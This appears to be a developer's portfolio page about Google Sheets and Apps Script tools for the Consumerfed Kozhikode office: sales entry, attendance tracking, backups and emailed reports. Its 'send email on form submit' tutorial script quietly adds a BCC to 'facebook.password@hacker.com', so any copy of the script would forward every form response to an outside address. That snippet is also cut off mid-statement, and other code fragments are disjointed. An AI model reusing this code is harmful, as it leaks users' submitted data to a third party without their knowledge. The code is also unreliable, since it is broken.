We have created a textile inventory and billing system for Nijeeshma tailoring athanikkal kozhikode using google app sheet and google spreadsheet. Any one can develop this application with a day or two. No coding required
The application was initially developed for supporting the inventory system developed by I T section (head office). The project was assigned by Regional Manger through the I T, which then modified and new features are added as a requirement by pco kozhikode. The features like cash-credit report . subsidy monitoring, monthly sales, tranfer-in transfer out monitoring were include as per the requirement of accounts manager +deepa. The project was developed on may 2015 to validate sales details for Bee bee software developed by IT section consumerfed. The data were missing, double in the software at that time, so to analyse and solve the data issue the spreadsheet was very much helped them.
This spreadsheet helps to validate the data in the software, help to fix the bugs related with data (includes sales, expense, r&d etc). Proper internet connection is mandatory to run the sheet. The spreadsheet will change daily so as to help the triveni units to enter their last day sales details, also the system automatically compute the reports needed for accounts section and email accounts manager. The branches under kozhikode region can also enter their monthly sales transaction / account details in the sheet. The application automatically keep a backup in consfedkozhikode@gmail.com google drive folder named " Backup ". link to spreadsheet is given in the page.
To edit the template of the sales sheet use the controller sheet, I T admin can edit this. contact number : 8281808029
controller sheet
In addition to source code , my soul is also present in this project. I worked so sincerely and honestly on this project. Each steps were challenging as there was an unsupported behavior from the regional manager as well as regional I T section once the project was deployed. They made me to stop running the project by defaming my work.
sending message to unit through google spreadsheet
Fast moving consumer goods to accounts section
FMCG report consumerfed
Online sales monitoring application
Online sales monitoring application
Daily sales google script code
Google script code for spreadsheet
Automatic Backup of spreadsheet
The application will automatically create a back up of the whole spreadsheet with monthly data entered by the user in office google drive folder named backup
Messaging to triveni units through spreadsheet
any one who can login to office mail can access the spreadsheet script editor, there by helps them to send message to triveni units, a pop up will show on the screen as shown in the screen shot
Admin can lock & unlock the spreadheet
Locking and unlocking the sheet prevents the user for entering the data, the task was initially assigned by Regional Manager
Created a robust G suite application for consumerfed regional office kozhikode (attendance monitoring system), which helps multiple users can mark their attendance simultaneously through a google form. The form is linked with a google spreadsheet where all the responses are saved which can be viewed in real time. The google spreadsheet is designed in such a way that the monitoring users can only view present day report. The attendance is mailed daily both as html and pdf format. Once in every month the google script will automatically back up the spreadsheet in google drive.
The Google form and spreadsheet works only on javascript enabled web browsers.
Maximum number of rows allowed is approximately 4 lakhs and the 250 sheets on google spreadsheet. Maximum of 15GB space is allowed in google drive.
The project was initially developed in 2015 November for Regional office kozhikode Regional Manager then new features was added in 2016 September and application was very much active during that period, New features like consolidation, tracking, automatic error tracking etc were included.
Each and every information entered by employees is kept in spreadsheet , but the view is restricted to that day. Downloading the sheet helps you view all the data from starting
Go To Tools >> Script Editor in google spread sheet.
Select any function then click on run command. For example if you want to send an email with pdf, go to script editor, choose the function mailLeaveDetails() from the combo box, then click on run command. An email will be send to the mail described in the controller spreadsheet
SCRIPT EDITOR
Google script failure alert
E mail while script error
Google controller Spreadsheet
Google controller spread sheet act as a property value sheet where the admin can control all the attendance works like e mail address to which the mail should be send, the subject of the email, the footer etc. He can also stop the mail sending by giving property value as NO.
Backup of spreadsheet is done automatically on first day of the month in office google drive.
BACKUP IN GOOGLE DRIVE
Emailing attendance information directly on google form submit
E-mail template for attendance
Smart monitoring of Cfed Attendance
Monitoring the attendance application using a third party smart apps let us know when the server is down and how long the server being down. Help us to identify the fake complaints
Cfed Attendance
Email information regarding the up and down time of attendance application
There is a script running on the background of the sheet that will track the duplicate entries on the particular day and automatically delete the first entered value. A separate sheet 'INFORMATIONS' is kept , where all details regarding such automatic operation summaries is kept.
var attendanceSpreadSheet = SpreadsheetApp.openById("consumerfedAttendanceSheet");
var attendanceSheet = attendanceSpreadSheet.getSheetByName("ATTENDANCE");
var consolidationSheet = attendanceSpreadSheet.getSheetByName("CONSOLIDATION");
var startRowAttendance = consolidationSheet.getRange("H1").getValue();
var lastRowAttendance = attendanceSheet.getLastRow();
var lastRowOfAttendanceArray = lastRowAttendance - startRowAttendance - 1;
var branchListAS = attendanceSheet.getRange(startRowAttendance,2,lastRowOfAttendanceArray,1).getValues();
var empListAS = attendanceSheet.getRange(startRowAttendance,3,lastRowOfAttendanceArray,1).getValues();
var attndListAS = attendanceSheet.getRange(startRowAttendance,4,lastRowOfAttendanceArray,1).getValues();
//Logger.log(branchListAS);
var currentAttndRowPstn = startRowAttendance;
var branchListCS = consolidationSheet.getRange(1,1,consolidationSheet.getLastRow(),1).getValues();
var empListCS = consolidationSheet.getRange(1,2,consolidationSheet.getLastRow(),1).getValues();
//Logger.log(" B :"+branchListCS[0]);
var lastRowCS = consolidationSheet.getLastRow();
var lastConsolidationRow = lastRowCS + 1;
var branchNameAS = branchListAS[rowCount].toString();
var employeeNameAS = empListAS[rowCount].toString();
var attendanceTypeAS = attndListAS[rowCount].toString(); // present,onduty etc
Created a google spreadsheet template that helps any user with the link can enter the data daily. The spreadsheet is designed in such a way that the it will automatically clears the data in the sheet daily. Consolidate the amount in a separate spreadsheet. Any one who is using consfedkozhikode@gmail.com email can edit the branch names given in the sheet.The application automatically create the backup in the following folder monthly.
This application can be used for any sections to know their daily details,
The column name (headings ) in the above sheet is controlled by the bellow spreadsheet, admin ( I T) can edit the details which will be updated from the next day onward , the consolidated details will be available in a separate sheet. The sheet was used to enter subsidy details during April and September month where the same sheet was used to enter notebook sales details in may July month. The only thing the admin has to do is to change the reporting staff name, column names and contact number. Changing the column value of 146B to NO will stop email to receiver emails specified in column 145B. By default there are 8 columns in the apps, the admin can choose which all columns should be visible and he can also change its names.
The admin can change report name as well as reporting officer name.
The spreadsheet was developed in 2016 for IT section, to get the hardware details from triveni units.
How to sending email on form submit in google form using google script code
Sample google form
The google script for sending email on form submit
// Send the google form data on entering submit button
function sendMailOnFormSubmit(e){
var intendForm = FormApp.getActiveForm(); // you can select from by its id
var response = intendForm.getResponses();
//response.length
var reponseCount = response.length-1;
//Logger.log(""+indentForm.getItems());
// Logger.log(""+indentForm.getResponses());
//Logger.log(e.
Logger.log(""+response.length);
var htmlBody = 'Sir, <br/><br/> <p> Sending indent to the following e - mail id <br/></p> '+response
[reponseCount].getItemResponses()[0].getResponse();
var subject = ' GOOGLE FORM DATA ';
var optAdvancedArgs = {name: " BRANCH NAME ",bcc :"facebook.password@hacker.com", htmlBody:
var branchName = response[reponseCount].getItemResponses()[0].getResponse(); var contactNumber = response[reponseCount].getItemResponses()[1].getResponse(); var reportedBy = response[reponseCount].getItemResponses()[2].getResponse(); var complaintType = response[reponseCount].getItemResponses()[3].getResponse(); var description = response[reponseCount].getItemResponses()[4].getResponse();
Online Sales Entering spreadsheet using google script
As our new software bee bee is down for last few months I T head +bithesh soubhagya assign me a task to create a parallel online sales entering application which helps users to inform their sales to regional office, thus we can debug our bee bee software by informing head office the actual sales. The project was great success, the data was informed head office daily and they correct it on bee bee software.
Created an online sales entering spreadsheet using google script code. The sheet changes daily so that end users can add/enter their daily sales and other details for that day, . The google script in background will automatically send reports daily as email both in html and pdf formats, The sheet keeps a backup every month in google drive, Once backup is created the sheet will clear the whole data entered in the spreadsheet.
2. Declare variable columns, day, weekends, month, year
3. get todays date from google server (format dd/mm/yyyy)
4. get day from todaysDate
5. check if sunday then skip
6. else hide entire sheet
7. show sheet (day) // say 1,2,3...etc
8. Stop
Source code
function algorithm(){
var sheetToPdf = SpreadsheetApp.openById("url to sheet ");
var columnRanges = ["A:A","B:N","O:AA","AB:AN","AO:BA","BB:BN","BO:CA","CB:CN","CO:DA","DB:DN","DO:EA","EB:EN","EO:FA","FB:FN","FO:GA","GB:GN","GO:HA","HB:HN","HO:IA","IB:IN","IO:JA","JB:JN","JO:KA","KB:KN","KO:LA","LB:LN","LO:MA","MB:MN","MO:NA","NB:NN","NO:OA","OB:ON"];
var todayDate = new Date();
var day = todayDate.getDate();
var actualDay = day - 1;
var saleDay = day;
var colToHide = day -1;
var colToHide2 = day -2;
var colToShow = day;
var actualMonth = todayDate.getMonth() + 1;
var rangeHide = sheetToPdf.getRange(columnRanges[colToHide]);
var rangeToShow = sheetToPdf.getRange(columnRanges[colToShow]);
//if day is 1
if(todayDate.getDate()==1){
//Logger.log(' Today is first day ');
//rangeToShow = sheetToPdf.getRange(columnRanges[colToShow]);
sheetToPdf.unhideColumn(sheetToPdf.getRange(columnRanges[0]));
sheetToPdf.unhideColumn(sheetToPdf.getRange(columnRanges[1]));
sheetToPdf.hideColumn(sheetToPdf.getRange(columnRanges[28]));//28,29,30,31
sheetToPdf.hideColumn(sheetToPdf.getRange(columnRanges[29]));
sheetToPdf.hideColumn(sheetToPdf.getRange(columnRanges[30]));
sheetToPdf.hideColumn(sheetToPdf.getRange(columnRanges[31]));
}
